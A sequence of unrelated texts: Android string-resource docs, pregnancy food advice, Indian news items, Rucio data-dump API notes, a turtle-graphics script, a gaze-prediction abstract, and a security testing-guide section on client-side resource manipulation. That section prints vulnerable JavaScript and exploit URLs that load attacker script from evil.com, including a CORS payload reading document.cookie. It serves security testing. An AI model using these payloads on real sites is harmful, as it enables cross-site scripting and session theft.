store_picture_message |
static int |
store_picture_title |
static int |
text_End_Date |
static int |
text_Start_Date |
static int |
title_activity_claim_info |
static int |
title_activity_create_account |
static int |
title_activity_login |
static int |
title_section1_claim_info |
static int |
title_section1_my_claims
strings for main screen
|
static int |
title_section2_claim_expenses |
static int |
title_section2_tag_list |
static int |
title_section3_global_claims |
static int |
to |
static int |
view_claim_ammount_spent |
static int |
view_claim_description |
static int |
view_claim_destinations |
static int |
view_claim_duration |
static int |
view_claim_end_date |
static int |
view_claim_name
strings for view claim fragment
|
static int |
view_claim_start_date |
static int |
view_claim_tags |
static int |
view_image |
static int |
view_location |
static int |
wallet_buy_button_place_holder
Text on a placeholder buy button when Google Play services is not
available or up-to-date
|
| Constructor and Description |
|---|
R.string() |
public static final int accept
public static final int action_add_expense
public static final int action_add_tag
public static final int action_bar_edit_account
public static final int action_bar_sign_out
public static final int action_calcel_edit_claim
public static final int action_cancel_create_account
public static final int action_confirm_create_account
public static final int action_create_account
public static final int action_create_account_short
public static final int action_create_claim
public static final int action_destination
public static final int action_done_destination_popup
public static final int action_done_selecting_tag
public static final int action_select_tag
public static final int action_sign_in
public static final int action_sign_in_short
public static final int app_name
public static final int button_add_claim
public static final int button_add_expense
public static final int button_add_tag
public static final int button_deselect_all
public static final int button_select_all
public static final int common_android_wear_notification_needs_update_text
public static final int common_android_wear_update_text
public static final int common_android_wear_update_title
public static final int common_google_play_services_enable_button
public static final int common_google_play_services_enable_text
public static final int common_google_play_services_enable_title
public static final int common_google_play_services_error_notification_requested_by_msg
public static final int common_google_play_services_install_button
public static final int common_google_play_services_install_text_phone
public static final int common_google_play_services_install_text_tablet
public static final int common_google_play_services_install_title
public static final int common_google_play_services_invalid_account_text
public static final int common_google_play_services_invalid_account_title
public static final int common_google_play_services_needs_enabling_title
public static final int common_google_play_services_network_error_text
public static final int common_google_play_services_network_error_title
public static final int common_google_play_services_notification_needs_installation_title
public static final int common_google_play_services_notification_needs_update_title
public static final int common_google_play_services_notification_ticker
public static final int common_google_play_services_sign_in_failed_text
public static final int common_google_play_services_sign_in_failed_title
public static final int common_google_play_services_unknown_issue
public static final int common_google_play_services_unsupported_text
public static final int common_google_play_services_unsupported_title
public static final int common_google_play_services_update_button
public static final int common_google_play_services_update_text
public static final int common_google_play_services_update_title
public static final int common_open_on_phone
public static final int common_signin_button_text
public static final int common_signin_button_text_long
public static final int commono_google_play_services_api_unavailable_text
public static final int confirm_geolocation
public static final int create_calendar_message
public static final int create_calendar_title
public static final int decline
public static final int delete_expense
public static final int edit_claim_delete_tag
public static final int edit_expense
public static final int error_email_not_unique
public static final int error_email_taken
public static final int error_field_required
public static final int error_incorrect_password
public static final int error_invalid_email
public static final int error_invalid_name
public static final int error_invalid_password
public static final int error_mismatched_passwords
public static final int hello_world
public static final int incompleteExpenses
public static final int nointernet
public static final int place_autocomplete_hint
public static final int popup_add_expense
public static final int popup_approve
public static final int popup_delete
public static final int popup_edit
public static final int popup_edit_tags
public static final int popup_global_view
public static final int popup_return
public static final int popup_submit
public static final int popup_view
public static final int promote_add_tag
public static final int promote_claim_destination_input
public static final int promote_claim_destination_reason
public static final int promote_claim_name
public static final int promote_claim_tags
public static final int promote_claim_title
public static final int promote_day
public static final int promote_description
public static final int promote_month
public static final int promote_year
public static final int prompt_confirm_account_password
public static final int prompt_create_account_email
public static final int prompt_create_account_name
public static final int prompt_create_account_password
public static final int prompt_email
public static final int prompt_password
public static final int server_error
public static final int store_picture_message
public static final int store_picture_title
public static final int text_End_Date
public static final int text_Start_Date
public static final int title_activity_claim_info
public static final int title_activity_create_account
public static final int title_activity_login
public static final int title_section1_claim_info
public static final int title_section1_my_claims
public static final int title_section2_claim_expenses
public static final int title_section2_tag_list
public static final int title_section3_global_claims
public static final int to
public static final int view_claim_ammount_spent
public static final int view_claim_description
public static final int view_claim_destinations
public static final int view_claim_duration
public static final int view_claim_end_date
public static final int view_claim_name
public static final int view_claim_start_date
public static final int view_claim_tags
public static final int view_image
public static final int view_location
public static final int wallet_buy_button_place_holder


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Eggs
Avoid some raw or partially cooked eggs if you're pregnant
Some eggs are produced under a food safety standard called the British Lion Code of Practice. Eggs produced in this way have a logo stamped on their shell, showing a red lion.
Lion Code eggs are considered very low risk for salmonella, and safe for pregnant women to eat raw or partially cooked. So you can eat raw hen eggs or food containing lightly cooked hen eggs (such as soft boiled eggs, mousses, soufflés and fresh mayonnaise) provided that the eggs are produced under the Lion Code.
If they are not Lion Code, make sure eggs are thoroughly cooked until the whites and yolks are solid to prevent the risk of salmonella food poisoning. Salmonella food poisoning is unlikely to harm your baby, but it can give you a severe bout of diarrhoea and vomiting.
If you don't know whether the eggs used are Lion Code or not (for example in a restaurant or cafe), ask the staff or, to be on the safe side, you can follow the advice for non-Lion Code eggs.
Non-hen eggs such as duck, goose and quail eggs should always be cooked thoroughly.
Safety with eggs
Nuts
Peanuts are safe in pregnancy
You can eat peanuts or food containing peanuts, such as peanut butter, during pregnancy, unless you're allergic to them or a health professional advises you not to.
You may have heard peanuts should be avoided during pregnancy. This is because the government previously advised women to avoid eating peanuts if there was a history of allergy – such as asthma, eczema, hay fever and food allergy – in their child's immediate family.
This advice has now changed because the latest research has shown no clear evidence that eating peanuts during pregnancy affects the chances of your baby developing a peanut allergy.
Peanuts in pregnancy links
Paté
Avoid all types of pâté, including vegetable pâtés, as they can contain listeria.
Foods with soil on them
Wash fruit, vegetables and salads to remove all traces of soil and visible dirt.
Liquorice
You can have moderate amounts of liquorice sweets or liquorice teas in pregnancy – there's no recommendation to avoid them. However, you should avoid the herbal remedy liquorice root.
Can eating too much black liquorice be bad for you?
Yes, particularly if you're over 40 and have a history of heart disease or high blood pressure, or both.
Eating more than 57g (2 ounces) of black liquorice a day for at least 2 weeks could lead to potentially serious health problems, such as an increase in blood pressure and an irregular heart rhythm (arrhythmia).
For most people, liquorice found in foods is safe to eat and safe when consumed in large amounts in medicines for short periods of time.
General health advice about black liquorice
No matter how old you are, you should avoid eating large amounts of black liquorice over a short space of time.
If you have been eating a lot of black liquorice and have heart palpitations, muscle weakness or other health-related problems, stop eating it immediately and seek medical advice.
Black liquorice can interact with some medications, herbs and dietary supplements.
Get advice from a GP or pharmacist if you have questions about possible interactions with a medication or supplement you're taking.


Lawyers' expect CJI SA Bobde to dispose of pending cases, regulate PILs
New CJI, Bobde, has succeeded Justice Ranjan Gogoi who retired on November 17 after remaining in office for over 13 months.
by ANIDisposal of pending cases, reinstatement of credibility and common man's faith in the judiciary are some of the expectations legal fraternity has from the newly sworn-in Chief Justice of India Sharad Arvind Bobde.
Former additional solicitor general (ASG), Vikas Singh, said new Chief Justice's priority should be to dispose of the pending cases and restore the credibility of judiciary among the people.
"Disposal of long-pending cases would, however, be a tough task for the new Chief Justice," Singh told ANI.
Echoing similar sentiments, senior lawyer Geeta Luthra said that Chief Justice Bobde will have to take the "faith and beliefs of a common man into consideration".
"Judiciary is doing well, but the newly appointed Chief Justice Bobde should now see how it can be done best. He should also consider disposing of pending cases," Luthra added.
Former solicitor general (SG) Mohan Parasaran said that his expectations from the new Chief Justice would be to regulate the Public Interest Litigations. "All PILs should be regulated," Parasaran said.
New CJI, Bobde, has succeeded Justice Ranjan Gogoi who retired on November 17 after remaining in office for over 13 months.
Bobde was elevated as a judge of the Supreme Court of India on April 12, 2013. He will retire as CJI on April 23, 2021.


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Replicas per RSE
Retrieve a tab-separated, bz2 compressed, list of replicas at an RSE.
URL: https://rucio-hadoop.cern.ch/replica_dumps
URL params: rse, date (optional)
Example: https://rucio-hadoop.cern.ch/replica_dumps?rse=CERN-PROD_DATADISK&date=21-01-2015
Format: RSE, scope, name, checksum, size, creation date, path, update date, state, last accessed date, tombstone
Notabene: if no date provided, the latest available dump will be taken
Datasets per RSE
Retrieve a list of complete datasets at an RSE.
URL: https://rucio-hadoop.cern.ch/consistency_datasets
URL params: rse, date (optional)
Example: https://rucio-hadoop.cern.ch/consistency_datasets?rse=CERN-PROD_DATADISK&date=21-01-2015
Format: RSE, scope, name, owner, size, creation date, last accessed date, corresponding rule ids, total number of available replicas on the grid, last row update in the DB
Notabene: size can be empty (dataset is still open); last accessed date can be empty; if no date provided, the latest available dump will be taken
Datasets per RSE (with incomplete)
Retrieve a list of all datasets (complete and incomplete) at an RSE.
URL: https://rucio-hadoop.cern.ch/datasets_per_rse
URL params: rse, date (optional)
Example: https://rucio-hadoop.cern.ch/datasets_per_rse?rse=CERN-PROD_DATADISK&date=27-03-2015
Format: RSE, scope, name, account, size, creation date, update date, last accessed date, rule id, state
Notabene: last accessed date can be empty; if no date provided, the latest available dump will be taken; account is 'None' and rule id is empty if there are no rules for this datasets; accounts and rule ids will be given as a comma separated list sorted in the same order if there is more that one rule
RSEs
Format: id, rse, rse_type, deterministic, volatile
RSE Attributes
Format: rse_id, key, value
Dataset Locks
Format: rule_id, rse_id, account, state, updated_at, created_at, length, bytes, accessed_at
Rules
Format: id, subscription_id, account, scope, name, did_type, state, rse_expression, copies, expires_at, weight, locked, grouping, error, updated_at, created_at, locks_ok_cnt, locks_replicating_cnt, locks_stuck_cnt, source_replica_expression, activity, notification, stuck_at
DIDs
Format: scope, name, account, did_type, hidden, is_open, complete, obsolete, bytes, length, events, project, datatype, run_number, stream_name, prod_step, version, task_id, panda_id, campaign, lumiblocknr, provenance, phys_group, transient, created_at, updated_at
Replicas
Format: scope, name, rse_id, bytes, state, lock_cnt, adler32, created_at, accessed_at, tombstone, path


Summary
A Client Side Resource Manipulation vulnerability is an input validation flaw that occurs when an application accepts an user controlled input which specifies the path of a resource (for example the source of an iframe, js, applet or the handler of an XMLHttpRequest). Specifically, such a vulnerability consists in the ability to control the URLs which link to some resources present in a web page. The impact may vary on the basis of the type of the element whose URL is controlled by the attacker, and it is usually adopted to conduct Cross-Site Scripting attacks.
How to Test
Such a vulnerability occurs when the application employs user controlled URLs for referencing external/internal resources. In these circumstances it is possible to interfere with the expected application's behavior in the sense of making it load and render malicious objects.
The following JavaScript code shows a possible vulnerable script in which the attacker is able to control the "location.hash" (source) which reaches the attribute "src" of a script element. This particular obviously leads XSS since an external JavaScript could be easily injected in the trusted web site.
<script>
var d=document.createElement("script");
if(location.hash.slice(1))
d.src = location.hash.slice(1);
document.body.appendChild(d);
</script>
Specifically the attacker could target the victim by asking her to visit the following URL:
www.victim.com/#http://evil.com/js.js
Where js.js contains:
alert(document.cookie)
Controlling scripts' sources is a basic example, since some other interesting and more subtle cases can take place. A widespread scenario involves the possibility to control the URL called in a CORS request; since CORS allows the target resource to be accessible by the requesting domain through a header based approach, then the attacker may ask the target page to load malicious content loaded on its own web site.
Refer to the following vulnerable code:
<b id="p"></b>
<script>
function createCORSRequest(method, url) {
var xhr = new XMLHttpRequest();
xhr.open(method, url, true);
xhr.onreadystatechange = function () {
if (this.status == 200 && this.readyState == 4) {
document.getElementById('p').innerHTML = this.responseText;
}
};
return xhr;
}
var xhr = createCORSRequest('GET', location.hash.slice(1));
xhr.send(null);
</script>
The “location.hash” is controlled by the attacker and it is used for requesting an external resource, which will be reflected through the construct “innerHTML”. Basically the attacker could ask the victim to visit the following URL and at the same time he could craft the payload handler.
Exploit URL: www.victim.com/#http://evil.com/html.html
http://evil.com/html.html
----
<?php
header('Access-Control-Allow-Origin: http://www.victim.com');
?>
<script>alert(document.cookie);</script>
Black Box testing
Black box testing for Client Side Resource Manipulation is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.
Gray Box testing
Testing for Client Side Resource Manipulation vulnerabilities:
To manually check for this type of vulnerability we have to identify whether the application employs inputs without correctly validating them; these are under the control of the user which could be able to specify the url of some resources. Since there are many resources that could be included into the application (for example images, video, object, css, frames etc.), client side scripts which handle the associated URLs should be investigated for potential issues.
The following table shows the possible injection points (sink) that should be checked:
Resource Type Tag/Method Sink
Frame iframe src
Link a href
AJAX Request xhr.open(method, [url], true); URL
CSS link href
Image img src
Object object data
Script script src
The most interesting ones are those that allow to an attacker to include client side code (for example JavaScript) since it could lead to an XSS vulnerabilities.
When trying to check for this kind of issues, consider that some characters are treated differently by different browsers. Moreover always consider the possibility to try absolute URLs variants as described here: http://kotowicz.net/absolute/
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I'm also well versed in many popular libraries, such as Bootstrap, Foundation, and jQuery.
Regarding database development, I have worked with both mongoDB and mySQL to create and store data, and have experience with a number of APIs under my belt.
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Turtles
Example Dialog / Script
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Role: Draftsman.
Action: Make flower from a spiral.
. Make 100 turtles facing different directions.
. Set distance D to 128 mm.
. Set angle A to 10 degrees.
. All turtles put pen down.
. Repeat 6 times:
. . All turtles move distance D.
. . All turtles turn angle A to the right.
. . Divide distance D in half.
Action: Fractile tree.
. Set P to point at (0,0).
. Set L to 128 mm.
. Set A to 30 degrees.
. Draw fractile branch of length L and angle A at point P.
To: Draw fractile branch of length L and angle A at point P.
. If L is less than 3 mm:
. . Do nothing. (Quit the recursion.)
. Otherwise:
. . Make turtle at P with pen down.
. . Turn turtle (A/2) degrees left.
. . Move turtle distance L.
. . Draw fractile branch of length (L/2) and angle A at point (turtle location).
. . Move turtle to P with pen up.
. . Turn turtle A degrees right.
. . Move turtle distance L.
. . Draw fractile branch of length (L/2) and angle A at point (turtle location).
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Maharashtra: Floor test may be just a formality, but the real drama follows later
India oi-Vicky Nanjappa By Vicky Nanjappa | Updated: Friday, November 29, 2019, 17:03 [IST]
New Delhi, Nov 29: It may be a mere formality, but the floor test that Uddhav Thackeray is likely to take on Saturday would be an interesting one to watch.
Thackeray who took oath as chief minister of Maharashtra on Friday is likely to take the floor test at 2 pm. If all goes as per plan, then the Shiv Sena, Congress and NCP together have 162 MLAs on the floor of the Maharashtra Legislative Assembly.
Uddhav Thackeray was given time until December 3 by the Governor of Maharashtra B S Koshyari to prove his majority. In its letter to the Governor, the alliance claimed the support of 162 MLAs.
Uddhav Thackeray likely to face floor test tomorrow
The alliance would, however, want to have its own speaker and is looking to replace the pro-tem speaker. As per the arrangement, the post of deputy chief minister would go to the NCP, while the speaker would be from the Congress.
While the floor test would be a mere floor test for the alliance, the challenge would lie after the exercise is conducted. There is a question mark as to who from the NCP would be the deputy CM. While the name of Ajit Pawar has been doing the rounds, it still is not clear if his name would be cleared considering the coup he pulled off last week with Devendra Fadnavis.
After Maharashtra, Sanjay Raut claims Shiv Sena will create new political front in Goa
Further, there would be discussions on the portfolios as well. The portfolios that would need to be watched out for are Home, Finance and Urban Development. It may be recalled that the Shiv Sena had asked the BJP for these portfolios as well. Both the Congress and NCP are aware that they have given the Sena too much and would be vying for these top portfolios.
Political analysts tell OneIndia that the alliance would survive for now, but the days ahead would be extremely challenging. What is keeping the alliance together is a single point agenda of keeping the BJP out.
In the House, the Shiv Sena has 56 MLAs, while the NCP and Congress have 54 and 44 respectively. The BJP is the single largest party with 105 seats.
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Gaze Analysis and Prediction in Dynamic Virtual Scenes
Zhiming Hu, Sheng Li, Congyi Zhang, Kangrui Yi, Guoping Wang, and Dinesh Manocha
We conduct novel analyses of users' gaze behaviors in dynamic virtual scenes and, based on our analyses, we present a novel CNN-based model called DGaze for gaze prediction in HMD-based applications. We first collect 43 users' eye tracking data in 5 dynamic scenes under free-viewing conditions. Next, we perform statistical analysis of our data and observe that dynamic object positions, head rotation velocities, and salient regions are correlated with users' gaze positions. Based on our analysis, we present a CNN-based model (DGaze) that combines object position sequence, head velocity sequence, and saliency features to predict users' gaze positions. Our model can be applied to predict not only realtime gaze positions but also gaze positions in the near future and can achieve better performance than prior method. In terms of realtime prediction, DGaze achieves a 22.0% improvement over prior method in dynamic scenes and obtains an improvement of 9.5% in static scenes, based on using the angular distance as the evaluation metric. We also propose a variant of our model called DGaze_ET that can be used to predict future gaze positions with higher precision by combining accurate past gaze data gathered using an eye tracker. We further analyze our CNN architecture and verify the effectiveness of each component in our model. We apply DGaze to gaze-contingent rendering and a game, and also present the evaluation results from a user study.
Our related work on gaze analysis and prediction in virtual reality:
Gaze Analysis and Prediction in Virtual Reality
Temporal Continuity of Visual Attention for Future Gaze Prediction in Immersive Virtual Reality
SGaze: A Data-Driven Eye-Head Coordination Model for Realtime Gaze Prediction


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